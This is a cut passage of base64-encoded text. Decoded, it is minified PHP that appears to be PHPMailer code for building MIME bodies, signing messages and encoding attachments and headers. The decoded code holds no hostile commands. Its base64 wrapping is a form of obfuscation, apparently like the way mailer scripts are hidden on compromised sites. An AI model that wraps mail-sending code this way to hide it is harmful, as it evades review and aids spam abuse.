RpYzo6JExFOyRib2R5Lj0kdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdKTticmVhaztjYXNlICdhbHRfYXR0YWNoJzokYm9keS49JG1pbWVwcmU7JGJvZHkuPSR0aGlzLT50ZXh0TGluZSgnLS0nLiR0aGlzLT5ib3VuZGFyeVsxXSk7JGJvZHkuPSR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLHN0YXRpYzo6Q09OVEVOVF9UWVBFX01VTFRJUEFSVF9BTFRFUk5BVElWRS4nOycpOyRib2R5Lj0kdGhpcy0+dGV4dExpbmUoJyBib3VuZGFyeT0iJy4kdGhpcy0+Ym91bmRhcnlbMl0uJyInKTskYm9keS49c3RhdGljOjokTEU7JGJvZHkuPSR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sJGFsdEJvZHlDaGFyU2V0LHN0YXRpYzo6Q09OVEVOVF9UWVBFX1BMQUlOVEVYVCwkYWx0Qm9keUVuY29kaW5nKTskYm9keS49JHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+QWx0Qm9keSwkYWx0Qm9keUVuY29kaW5nKTskYm9keS49c3RhdGljOjokTEU7JGJvZHkuPSR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sJGJvZHlDaGFyU2V0LHN0YXRpYzo6Q09OVEVOVF9UWVBFX1RFWFRfSFRNTCwkYm9keUVuY29kaW5nKTskYm9keS49JHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwkYm9keUVuY29kaW5nKTskYm9keS49c3RhdGljOjokTEU7aWYoIWVtcHR5KCR0aGlzLT5JY2FsKSl7JGJvZHkuPSR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sJycsc3RhdGljOjpDT05URU5UX1RZUEVfVEVYVF9DQUxFTkRBUi4nOyBtZXRob2Q9UkVRVUVTVCcsJycpOyRib2R5Lj0kdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5JY2FsLCR0aGlzLT5FbmNvZGluZyk7fSRib2R5Lj0kdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTskYm9keS49c3RhdGljOjokTEU7JGJvZHkuPSR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCR0aGlzLT5ib3VuZGFyeVsxXSk7YnJlYWs7Y2FzZSAnYWx0X2lubGluZV9hdHRhY2gnOiRib2R5Lj0kbWltZXByZTskYm9keS49JHRoaXMtPnRleHRMaW5lKCctLScuJHRoaXMtPmJvdW5kYXJ5WzFdKTskYm9keS49JHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsc3RhdGljOjpDT05URU5UX1RZUEVfTVVMVElQQVJUX0FMVEVSTkFUSVZFLic7Jyk7JGJvZHkuPSR0aGlzLT50ZXh0TGluZSgnIGJvdW5kYXJ5PSInLiR0aGlzLT5ib3VuZGFyeVsyXS4nIicpOyRib2R5Lj1zdGF0aWM6OiRMRTskYm9keS49JHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSwkYWx0Qm9keUNoYXJTZXQsc3RhdGljOjpDT05URU5UX1RZUEVfUExBSU5URVhULCRhbHRCb2R5RW5jb2RpbmcpOyRib2R5Lj0kdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCRhbHRCb2R5RW5jb2RpbmcpOyRib2R5Lj1zdGF0aWM6OiRMRTskYm9keS49JHRoaXMtPnRleHRMaW5lKCctLScuJHRoaXMtPmJvdW5kYXJ5WzJdKTskYm9keS49JHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsc3RhdGljOjpDT05URU5UX1RZUEVfTVVMVElQQVJUX1JFTEFURUQuJzsnKTskYm9keS49JHRoaXMtPnRleHRMaW5lKCcgYm91bmRhcnk9IicuJHRoaXMtPmJvdW5kYXJ5WzNdLiciOycpOyRib2R5Lj0kdGhpcy0+dGV4dExpbmUoJyB0eXBlPSInLnN0YXRpYzo6Q09OVEVOVF9UWVBFX1RFWFRfSFRNTC4nIicpOyRib2R5Lj1zdGF0aWM6OiRMRTskYm9keS49JHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVszXSwkYm9keUNoYXJTZXQsc3RhdGljOjpDT05URU5UX1RZUEVfVEVYVF9IVE1MLCRib2R5RW5jb2RpbmcpOyRib2R5Lj0kdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCRib2R5RW5jb2RpbmcpOyRib2R5Lj1zdGF0aWM6OiRMRTskYm9keS49JHRoaXMtPmF0dGFjaEFsbCgnaW5saW5lJywkdGhpcy0+Ym91bmRhcnlbM10pOyRib2R5Lj1zdGF0aWM6OiRMRTskYm9keS49JHRoaXMtPmVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSk7JGJvZHkuPXN0YXRpYzo6JExFOyRib2R5Lj0kdGhpcy0+YXR0YWNoQWxsKCdhdHRhY2htZW50JywkdGhpcy0+Ym91bmRhcnlbMV0pO2JyZWFrO2RlZmF1bHQ6JHRoaXMtPkVuY29kaW5nPSRib2R5RW5jb2Rpbmc7JGJvZHkuPSR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksJHRoaXMtPkVuY29kaW5nKTticmVhazt9aWYoJHRoaXMtPmlzRXJyb3IoKSl7JGJvZHk9Jyc7aWYoJHRoaXMtPmV4Y2VwdGlvbnMpe3Rocm93IG5ldyBFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2VtcHR5X21lc3NhZ2UnKSxzZWxmOjpTVE9QX0NSSVRJQ0FMKTt9fWVsc2VpZigkdGhpcy0+c2lnbl9rZXlfZmlsZSl7dHJ5e2lmKCFkZWZpbmVkKCdQS0NTN19URVhUJykpe3Rocm93IG5ldyBFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykuJ29wZW5zc2wnKTt9JGZpbGU9Zm9wZW4oJ3BocDovL3RlbXAnLCdyYisnKTskc2lnbmVkPWZvcGVuKCdwaHA6Ly90ZW1wJywncmIrJyk7ZndyaXRlKCRmaWxlLCRib2R5KTtpZihlbXB0eSgkdGhpcy0+c2lnbl9leHRyYWNlcnRzX2ZpbGUpKXskc2lnbj1Ab3BlbnNzbF9wa2NzN19zaWduKCRmaWxlLCRzaWduZWQsJ2ZpbGU6Ly8nLnJlYWxwYXRoKCR0aGlzLT5zaWduX2NlcnRfZmlsZSksWydmaWxlOi8vJy5yZWFscGF0aCgkdGhpcy0+c2lnbl9rZXlfZmlsZSksJHRoaXMtPnNpZ25fa2V5X3Bhc3NdLFtdKTt9ZWxzZXskc2lnbj1Ab3BlbnNzbF9wa2NzN19zaWduKCRmaWxlLCRzaWduZWQsJ2ZpbGU6Ly8nLnJlYWxwYXRoKCR0aGlzLT5zaWduX2NlcnRfZmlsZSksWydmaWxlOi8vJy5yZWFscGF0aCgkdGhpcy0+c2lnbl9rZXlfZmlsZSksJHRoaXMtPnNpZ25fa2V5X3Bhc3NdLFtdLFBLQ1M3X0RFVEFDSEVELCR0aGlzLT5zaWduX2V4dHJhY2VydHNfZmlsZSk7fWZjbG9zZSgkZmlsZSk7aWYoJHNpZ24peyRib2R5PWZpbGVfZ2V0X2NvbnRlbnRzKCRzaWduZWQpO2ZjbG9zZSgkc2lnbmVkKTskcGFydHM9ZXhwbG9kZSgiXG5cbiIsJGJvZHksMik7JHRoaXMtPk1JTUVIZWFkZXIuPSRwYXJ0c1swXS5zdGF0aWM6OiRMRS5zdGF0aWM6OiRMRTskYm9keT0kcGFydHNbMV07fWVsc2V7ZmNsb3NlKCRzaWduZWQpO3Rocm93IG5ldyBFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NpZ25pbmcnKS5vcGVuc3NsX2Vycm9yX3N0cmluZygpKTt9fWNhdGNoKEV4Y2VwdGlvbiAkZXhjKXskYm9keT0nJztpZigkdGhpcy0+ZXhjZXB0aW9ucyl7dGhyb3cgJGV4Yzt9fX1yZXR1cm4gJGJvZHk7fXByb3RlY3RlZCBmdW5jdGlvbiBnZXRCb3VuZGFyeSgkYm91bmRhcnksJGNoYXJTZXQsJGNvbnRlbnRUeXBlLCRlbmNvZGluZyl7JHJlc3VsdD0nJztpZignJz09JGNoYXJTZXQpeyRjaGFyU2V0PSR0aGlzLT5DaGFyU2V0O31pZignJz09JGNvbnRlbnRUeXBlKXskY29udGVudFR5cGU9JHRoaXMtPkNvbnRlbnRUeXBlO31pZignJz09JGVuY29kaW5nKXskZW5jb2Rpbmc9JHRoaXMtPkVuY29kaW5nO30kcmVzdWx0Lj0kdGhpcy0+dGV4dExpbmUoJy0tJy4kYm91bmRhcnkpOyRyZXN1bHQuPXNwcmludGYoJ0NvbnRlbnQtVHlwZTogJXM7IGNoYXJzZXQ9JXMnLCRjb250ZW50VHlwZSwkY2hhclNldCk7JHJlc3VsdC49c3RhdGljOjokTEU7aWYoc3RhdGljOjpFTkNPRElOR183QklUIT0kZW5jb2RpbmcpeyRyZXN1bHQuPSR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nJywkZW5jb2RpbmcpO30kcmVzdWx0Lj1zdGF0aWM6OiRMRTtyZXR1cm4gJHJlc3VsdDt9cHJvdGVjdGVkIGZ1bmN0aW9uIGVuZEJvdW5kYXJ5KCRib3VuZGFyeSl7cmV0dXJuIHN0YXRpYzo6JExFLictLScuJGJvdW5kYXJ5LictLScuc3RhdGljOjokTEU7fXByb3RlY3RlZCBmdW5jdGlvbiBzZXRNZXNzYWdlVHlwZSgpeyR0eXBlPVtdO2lmKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKXskdHlwZVtdPSdhbHQnO31pZigkdGhpcy0+aW5saW5lSW1hZ2VFeGlzdHMoKSl7JHR5cGVbXT0naW5saW5lJzt9aWYoJHRoaXMtPmF0dGFjaG1lbnRFeGlzdHMoKSl7JHR5cGVbXT0nYXR0YWNoJzt9JHRoaXMtPm1lc3NhZ2VfdHlwZT1pbXBsb2RlKCdfJywkdHlwZSk7aWYoJyc9PSR0aGlzLT5tZXNzYWdlX3R5cGUpeyR0aGlzLT5tZXNzYWdlX3R5cGU9J3BsYWluJzt9fXB1YmxpYyBmdW5jdGlvbiBoZWFkZXJMaW5lKCRuYW1lLCR2YWx1ZSl7cmV0dXJuICRuYW1lLic6ICcuJHZhbHVlLnN0YXRpYzo6JExFO31wdWJsaWMgZnVuY3Rpb24gdGV4dExpbmUoJHZhbHVlKXtyZXR1cm4gJHZhbHVlLnN0YXRpYzo6JExFO31wdWJsaWMgZnVuY3Rpb24gYWRkQXR0YWNobWVudCgkcGF0aCwkbmFtZT0nJywkZW5jb2Rpbmc9c2VsZjo6RU5DT0RJTkdfQkFTRTY0LCR0eXBlPScnLCRkaXNwb3NpdGlvbj0nYXR0YWNobWVudCcpe3RyeXtpZighc3RhdGljOjppc1Blcm1pdHRlZFBhdGgoJHBhdGgpfHwhQGlzX2ZpbGUoJHBhdGgpKXt0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdmaWxlX2FjY2VzcycpLiRwYXRoLHNlbGY6OlNUT1BfQ09OVElOVUUpO31pZignJz09JHR5cGUpeyR0eXBlPXN0YXRpYzo6ZmlsZW5hbWVUb1R5cGUoJHBhdGgpO30kZmlsZW5hbWU9c3RhdGljOjptYl9wYXRoaW5mbygkcGF0aCxQQVRISU5GT19CQVNFTkFNRSk7aWYoJyc9PSRuYW1lKXskbmFtZT0kZmlsZW5hbWU7fWlmKCEkdGhpcy0+dmFsaWRhdGVFbmNvZGluZygkZW5jb2RpbmcpKXt0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdlbmNvZGluZycpLiRlbmNvZGluZyk7fSR0aGlzLT5hdHRhY2htZW50W109WzA9PiRwYXRoLDE9PiRmaWxlbmFtZSwyPT4kbmFtZSwzPT4kZW5jb2RpbmcsND0+JHR5cGUsNT0+ZmFsc2UsNj0+JGRpc3Bvc2l0aW9uLDc9PiRuYW1lLF07fWNhdGNoKEV4Y2VwdGlvbiAkZXhjKXskdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTskdGhpcy0+ZWRlYnVnKCRleGMtPmdldE1lc3NhZ2UoKSk7aWYoJHRoaXMtPmV4Y2VwdGlvbnMpe3Rocm93ICRleGM7fXJldHVybiBmYWxzZTt9cmV0dXJuIHRydWU7fXB1YmxpYyBmdW5jdGlvbiBnZXRBdHRhY2htZW50cygpe3JldHVybiAkdGhpcy0+YXR0YWNobWVudDt9cHJvdGVjdGVkIGZ1bmN0aW9uIGF0dGFjaEFsbCgkZGlzcG9zaXRpb25fdHlwZSwkYm91bmRhcnkpeyRtaW1lPVtdOyRjaWRVbmlxPVtdOyRpbmNsPVtdO2ZvcmVhY2goJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpe2lmKCRhdHRhY2htZW50WzZdPT0kZGlzcG9zaXRpb25fdHlwZSl7JHN0cmluZz0nJzskcGF0aD0nJzskYlN0cmluZz0kYXR0YWNobWVudFs1XTtpZigkYlN0cmluZyl7JHN0cmluZz0kYXR0YWNobWVudFswXTt9ZWxzZXskcGF0aD0kYXR0YWNobWVudFswXTt9JGluY2xoYXNoPWhhc2goJ3NoYTI1Nicsc2VyaWFsaXplKCRhdHRhY2htZW50KSk7aWYoaW5fYXJyYXkoJGluY2xoYXNoLCRpbmNsKSl7Y29udGludWU7fSRpbmNsW109JGluY2xoYXNoOyRuYW1lPSRhdHRhY2htZW50WzJdOyRlbmNvZGluZz0kYXR0YWNobWVudFszXTskdHlwZT0kYXR0YWNobWVudFs0XTskZGlzcG9zaXRpb249JGF0dGFjaG1lbnRbNl07JGNpZD0kYXR0YWNobWVudFs3XTtpZignaW5saW5lJz09JGRpc3Bvc2l0aW9uIGFuZCBhcnJheV9rZXlfZXhpc3RzKCRjaWQsJGNpZFVuaXEpKXtjb250aW51ZTt9JGNpZFVuaXFbJGNpZF09dHJ1ZTskbWltZVtdPXNwcmludGYoJy0tJXMlcycsJGJvdW5kYXJ5LHN0YXRpYzo6JExFKTtpZighZW1wdHkoJG5hbWUpKXskbWltZVtdPXNwcmludGYoJ0NvbnRlbnQtVHlwZTogJXM7IG5hbWU9IiVzIiVzJywkdHlwZSwkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJG5hbWUpKSxzdGF0aWM6OiRMRSk7fWVsc2V7JG1pbWVbXT1zcHJpbnRmKCdDb250ZW50LVR5cGU6ICVzJXMnLCR0eXBlLHN0YXRpYzo6JExFKTt9aWYoc3RhdGljOjpFTkNPRElOR183QklUIT0kZW5jb2RpbmcpeyRtaW1lW109c3ByaW50ZignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogJXMlcycsJGVuY29kaW5nLHN0YXRpYzo6JExFKTt9aWYoIWVtcHR5KCRjaWQpKXskbWltZVtdPXNwcmludGYoJ0NvbnRlbnQtSUQ6IDwlcz4lcycsJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRjaWQpKSxzdGF0aWM6OiRMRSk7fWlmKCFlbXB0eSgkZGlzcG9zaXRpb24pKXskZW5jb2RlZF9uYW1lPSR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkbmFtZSkpO2lmKHByZWdfbWF0Y2goJy9bIFwoXCk8PkAsOzpcXCJcL1xbXF1cPz1dLycsJGVuY29kZWRfbmFtZSkpeyRtaW1lW109c3ByaW50ZignQ29udGVudC1EaXNwb3NpdGlvbjogJXM7IGZpbGVuYW1lPSIlcyIlcycsJGRpc3Bvc2l0aW9uLCRlbmNvZGVkX25hbWUsc3RhdGljOjokTEUuc3RhdGljOjokTEUpO31lbHNle2lmKCFlbXB0eSgkZW5jb2RlZF9uYW1lKSl7JG1pbWVbXT1zcHJpbnRmKCdDb250ZW50LURpc3Bvc2l0aW9uOiAlczsgZmlsZW5hbWU9JXMlcycsJGRpc3Bvc2l0aW9uLCRlbmNvZGVkX25hbWUsc3RhdGljOjokTEUuc3RhdGljOjokTEUpO31lbHNleyRtaW1lW109c3ByaW50ZignQ29udGVudC1EaXNwb3NpdGlvbjogJXMlcycsJGRpc3Bvc2l0aW9uLHN0YXRpYzo6JExFLnN0YXRpYzo6JExFKTt9fX1lbHNleyRtaW1lW109c3RhdGljOjokTEU7fWlmKCRiU3RyaW5nKXskbWltZVtdPSR0aGlzLT5lbmNvZGVTdHJpbmcoJHN0cmluZywkZW5jb2RpbmcpO31lbHNleyRtaW1lW109JHRoaXMtPmVuY29kZUZpbGUoJHBhdGgsJGVuY29kaW5nKTt9aWYoJHRoaXMtPmlzRXJyb3IoKSl7cmV0dXJuICcnO30kbWltZVtdPXN0YXRpYzo6JExFO319JG1pbWVbXT1zcHJpbnRmKCctLSVzLS0lcycsJGJvdW5kYXJ5LHN0YXRpYzo6JExFKTtyZXR1cm4gaW1wbG9kZSgnJywkbWltZSk7fXByb3RlY3RlZCBmdW5jdGlvbiBlbmNvZGVGaWxlKCRwYXRoLCRlbmNvZGluZz1zZWxmOjpFTkNPRElOR19CQVNFNjQpe3RyeXtpZighc3RhdGljOjppc1Blcm1pdHRlZFBhdGgoJHBhdGgpfHwhZmlsZV9leGlzdHMoJHBhdGgpKXt0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdmaWxlX29wZW4nKS4kcGF0aCxzZWxmOjpTVE9QX0NPTlRJTlVFKTt9JGZpbGVfYnVmZmVyPWZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoKTtpZihmYWxzZT09PSRmaWxlX2J1ZmZlcil7dGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZmlsZV9vcGVuJykuJHBhdGgsc2VsZjo6U1RPUF9DT05USU5VRSk7fSRmaWxlX2J1ZmZlcj0kdGhpcy0+ZW5jb2RlU3RyaW5nKCRmaWxlX2J1ZmZlciwkZW5jb2RpbmcpO3JldHVybiAkZmlsZV9idWZmZXI7fWNhdGNoKEV4Y2VwdGlvbiAkZXhjKXskdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTtyZXR1cm4gJyc7fX1wdWJsaWMgZnVuY3Rpb24gZW5jb2RlU3RyaW5nKCRzdHIsJGVuY29kaW5nPXNlbGY6OkVOQ09ESU5HX0JBU0U2NCl7JGVuY29kZWQ9Jyc7c3dpdGNoKHN0cnRvbG93ZXIoJGVuY29kaW5nKSl7Y2FzZSBzdGF0aWM6OkVOQ09ESU5HX0JBU0U2NDokZW5jb2RlZD1jaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRzdHIpLHN0YXRpYzo6U1REX0xJTkVfTEVOR1RILHN0YXRpYzo6JExFKTticmVhaztjYXNlIHN0YXRpYzo6RU5DT0RJTkdfN0JJVDpjYXNlIHN0YXRpYzo6RU5DT0RJTkdfOEJJVDokZW5jb2RlZD1zdGF0aWM6Om5vcm1hbGl6ZUJyZWFrcygkc3RyKTtpZihzdWJzdHIoJGVuY29kZWQsLShzdHJsZW4oc3RhdGljOjokTEUpKSkhPXN0YXRpYzo6JExFKXskZW5jb2RlZC49c3RhdGljOjokTEU7fWJyZWFrO2Nhc2Ugc3RhdGljOjpFTkNPRElOR19CSU5BUlk6JGVuY29kZWQ9JHN0cjticmVhaztjYXNlIHN0YXRpYzo6RU5DT0RJTkdfUVVPVEVEX1BSSU5UQUJMRTokZW5jb2RlZD0kdGhpcy0+ZW5jb2RlUVAoJHN0cik7YnJlYWs7ZGVmYXVsdDokdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoJ2VuY29kaW5nJykuJGVuY29kaW5nKTtpZigkdGhpcy0+ZXhjZXB0aW9ucyl7dGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZW5jb2RpbmcnKS4kZW5jb2RpbmcpO31icmVhazt9cmV0dXJuICRlbmNvZGVkO31wdWJsaWMgZnVuY3Rpb24gZW5jb2RlSGVhZGVyKCRzdHIsJHBvc2l0aW9uPSd0ZXh0Jyl7JG1hdGNoY291bnQ9MDtzd2l0Y2goc3RydG9sb3dlcigkcG9zaXRpb24pKXtjYXNlICdwaHJhc2UnOmlmKCFwcmVnX21hdGNoKCcvW1wyMDAtXDM3N10vJywkc3RyKSl7JGVuY29kZWQ9YWRkY3NsYXNoZXMoJHN0ciwiXDAuLlwzN1wxNzdcXFwiIik7aWYoKCRzdHI9PSRlbmNvZGVkKWFuZCFwcmVnX21hdGNoKCcvW15BLVphLXowLTkhIyQlJlwnKitcLz0/Xl9ge3x9fiAtXS8nLCRzdHIpKXtyZXR1cm4gJGVuY29kZWQ7fXJldHVybiAiXCIkZW5jb2RlZFwiIjt9JG1hdGNoY291bnQ9cHJlZ19tYXRjaF9hbGwoJy9bXlwwNDBcMDQxXDA0My1cMTMzXDEzNS1cMTc2XS8nLCRzdHIsJG1hdGNoZXMpO2JyZWFrO2Nhc2UgJ2NvbW1lbnQnOiRtYXRjaGNvdW50PXByZWdfbWF0Y2hfYWxsKCcvWygpIl0vJywkc3RyLCRtYXRjaGVzKTtjYXNlICd0ZXh0JzpkZWZhdWx0OiRtYXRjaGNvdW50ICs9IHByZWdfbWF0Y2hfYWxsKCcvW1wwMDAtXDAxMFwwMTNcMDE0XDAxNi1cMDM3XDE3Ny1cMzc3XS8nLCRzdHIsJG1hdGNoZXMpO2JyZWFrO30kbGVuZ3Roc3ViPSdtYWlsJz09JHRoaXMtPk1haWxlcj8xMzowOyRtYXhsZW49c3RhdGljOjpTVERfTElORV9MRU5HVEgtJGxlbmd0aHN1YjtpZigkbWF0Y2hjb3VudD5zdHJsZW4oJHN0cikvMyl7JGVuY29kaW5nPSdCJzskbWF4bGVuPXN0YXRpYzo6U1REX0xJTkVfTEVOR1RILSRsZW5ndGhzdWItOC1zdHJsZW4oJHRoaXMtPkNoYXJTZXQpO2lmKCR0aGlzLT5oYXNNdWx0aUJ5dGVzKCRzdHIpKXskZW5jb2RlZD0kdGhpcy0+YmFzZTY0RW5jb2RlV3JhcE1CKCRzdHIsIlxuIik7fWVsc2V7JGVuY29kZWQ9YmFzZTY0X2VuY29kZSgkc3RyKTskbWF4bGVuIC09ICRtYXhsZW4gJSA0OyRlbmNvZGVkPXRyaW0oY2h1bmtfc3BsaXQoJGVuY29kZWQsJG1heGxlbiwiXG4iKSk7fSRlbmNvZGVkPXByZWdfcmVwbGFjZSgnL14oLiopJC9tJywnID0/Jy4kdGhpcy0+Q2hhclNldC4iPyRlbmNvZGluZz9cXDE/PSIsJGVuY29kZWQpO31lbHNlaWYoJG1hdGNoY291bnQ+MCl7JGVuY29kaW5nPSdRJzskbWF4bGVuPXN0YXRpYzo6U1REX0xJTkVfTEVOR1RILSRsZW5ndGhzdWItOC1zdHJsZW4oJHRoaXMtPkNoYXJTZXQpOyRlbmNvZGVkPSR0aGlzLT5lbmNvZGVRKCRzdHIsJHBvc2l0aW9uKTskZW5jb2RlZD0kdGhpcy0+d3JhcFRleHQoJGVuY29kZWQsJG1heGxlbix0cnVlKTskZW5jb2RlZD1zdHJfcmVwbGFjZSgnPScuc3RhdGljOjokTEUsIlxuIix0cmltKCRlbmNvZGVkKSk7JGVuY29kZWQ9cHJlZ19yZXBsYWNlKCcvXiguKikkL20nLCcgPT8nLiR0aGlzLT5DaGFyU2V0LiI/JGVuY29kaW5nP1xcMT89IiwkZW5jb2RlZCk7fWVsc2VpZihzdHJsZW4oJHN0cik+JG1heGxlbil7JGVuY29kZWQ9dHJpbSgkdGhpcy0+d3JhcFRleHQoJHN0ciwkbWF4bGVuLGZhbHNlKSk7aWYoJHN0cj09JGVuY29kZWQpeyRlbmNvZGVkPXRyaW0oY2h1bmtfc3BsaXQoJHN0cixzdGF0aWM6OlNURF9MSU5FX0xFTkdUSCxzdGF0aWM6OiRMRSkpO30kZW5jb2RlZD1zdHJfcmVwbGFjZShzdGF0aWM6OiRMRSwiXG4iLHRyaW0oJGVuY29kZWQpKTskZW5jb2RlZD1wcmVnX3JlcGxhY2UoJy9eKC4qKSQvbScsJyBcXDEnLCRlbmNvZGVkKTt9ZWxzZXtyZXR1cm4gJHN0cjt9cmV0dXJuIHRyaW0oc3RhdGljOjpub3JtYWxpemVCcmVha3MoJGVuY29kZWQpKTt9cHVibGljIGZ1bmN0aW9uIGhhc011bHRpQnl0ZXMoJHN0cil7aWYoZnVuY3Rpb25fZXhpc3RzKCdtYl9zdHJsZW4nKSl7cmV0dXJuIHN0cmxlbigkc3RyKT5tYl9zdHJsZW4oJHN0ciwkdGhpcy0+Q2hhclNldCk7fXJldHVybiBmYWxzZTt9cHVibGljIGZ1bmN0aW9uIGhhczhiaXRDaGFycygkdGV4dCl7cmV0dXJuIChib29sKSBwcmVnX21hdGNoKCcvW1x4ODAtXHhGRl0vJywkdGV4dCk7fXB1YmxpYyBmdW5jdGlvbiBiYXNlNjRFbmNvZGVXcmFwTUIoJHN0ciwkbGluZWJyZWFrPW51bGwpeyRzdGFydD0nPT8nLiR0aGlzLT5DaGFyU2V0Lic/Qj8nOyRlbmQ9Jz89JzskZW5jb2RlZD0nJztpZihudWxsPT09JGxpbmVicmVhayl7JGxpbmVicmVhaz1zdGF0aWM6OiRMRTt9JG1iX2xlbmd0aD1tYl9zdHJsZW4oJHN0ciwkdGhpcy0+Q2hhclNldCk7JGxlbmd0aD03NS1zdHJsZW4oJHN0YXJ0KS1zdHJsZW4oJGVuZCk7JHJhdGlvPSRtYl9sZW5ndGgvc3RybGVuKCRzdHIpOyRhdmdMZW5ndGg9Zmxvb3IoJGxlbmd0aCokcmF0aW8qLjc1KTtmb3IoJGk9MDskaTwkbWJfbGVuZ3RoOyRpICs9ICRvZmZzZXQpeyRsb29rQmFjaz0wO2RveyRvZmZzZXQ9JGF2Z0xlbmd0aC0kbG9va0JhY2s7JGNodW5rPW1iX3N1YnN0cigkc3RyLCRpLCRvZmZzZXQsJHRoaXMtPkNoYXJTZXQpOyRjaHVuaz1iYXNlNjRfZW5jb2RlKCRjaHVuayk7KyskbG9va0JhY2s7fXdoaWxlKHN0cmxlbigkY2h1bmspPiRsZW5ndGgpOyRlbmNvZGVkLj0kY2h1bmsuJGxpbmVicmVhazt9cmV0dXJuIHN1YnN0cigkZW5jb2RlZCwwLC1zdHJsZW4oJGxpbmVicmVhaykpO31wdWJsaWMgZnVuY3Rpb24gZW5jb2RlUVAoJHN0cmluZyl7cmV0dXJuIHN0YXRpYzo6bm9ybWFsaXplQnJlYWtzKHF1b3RlZF9wcmludGFibGVfZW5jb2RlKCRzdHJpbmcpKTt9cHVibGljIGZ1bmN0aW9uIGVuY29kZVEoJHN0ciwkcG9zaXRpb249J3RleHQnKXskcGF0dGVybj0nJzskZW5jb2RlZD1zdHJfcmVwbGFjZShbIlxyIiwiXG4iXSwnJywkc3RyKTtzd2l0Y2goc3RydG9sb3dlcigkcG9zaXRpb24pKXtjYXNlICdwaHJhc2UnOiRwYXR0ZXJuPSdeQS1aYS16MC05ISorXC8gLSc7YnJlYWs7Y2FzZSAnY29tbWVudCc6JHBhdHRlcm49J1woXCkiJztjYXNlICd0ZXh0JzpkZWZhdWx0OiRwYXR0ZXJuPSdcMDAwLVwwMTFcMDEzXDAxNFwwMTYtXDAzN1wwNzVcMDc3XDEzN1wxNzctXDM3NycuJHBhdHRlcm47YnJlYWs7fSRtYXRjaGVzPVtdO2lmKHByZWdfbWF0Y2hfYWxsKCIvW3skcGF0dGVybn1dLyIsJGVuY29kZWQsJG1hdGNoZXMpKXskZXFrZXk9YXJyYXlfc2VhcmNoKCc9JywkbWF0Y2hlc1swXSk7aWYoZmFsc2UhPT0kZXFrZXkpe3Vuc2V0KCRtYXRjaGVzWzBdWyRlcWtleV0pO2FycmF5X3Vuc2hpZnQoJG1hdGNoZXNbMF0sJz0nKTt9Zm9yZWFjaChhcnJheV91bmlxdWUoJG1hdGNoZXNbMF0pYXMgJGNoYXIpeyRlbmNvZGVkPXN0cl9yZXBsYWNlKCRjaGFyLCc9Jy5zcHJpbnRmKCclMDJYJyxvcmQoJGNoYXIpKSwkZW5jb2RlZCk7fX1yZXR1cm4gc3RyX3JlcGxhY2UoJyAnLCdfJywkZW5jb2RlZCk7fXB1YmxpYyBmdW5jdGlvbiBhZGRTdHJpbmdBdHRhY2htZW50KCRzdHJpbmcsJGZpbGVuYW1lLCRlbmNvZGluZz1zZWxmOjpFTkNPRElOR19CQVNFNjQsJHR5cGU9JycsJGRpc3Bvc2l0aW9uPSdhdHRhY2htZW50Jyl7dHJ5e2lmKCcnPT0kdHlwZSl7JHR5cGU9c3RhdGljOjpmaWxlbmFtZVRvVHlwZSgkZmlsZW5hbWUpO31pZighJHRoaXMtPnZhbGlkYXRlRW5jb2RpbmcoJGVuY29kaW5nKSl7dGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZW5jb2RpbmcnKS4kZW5jb2RpbmcpO30kdGhpcy0+YXR0YWNobWVudFtdPVswPT4kc3RyaW5nLDE9PiRmaWxlbmFtZSwyPT5zdGF0aWM6Om1iX3BhdGhpbmZvKCRmaWxlbmFtZSxQQVRISU5GT19CQVNFTkFNRSksMz0+JGVuY29kaW5nLDQ9P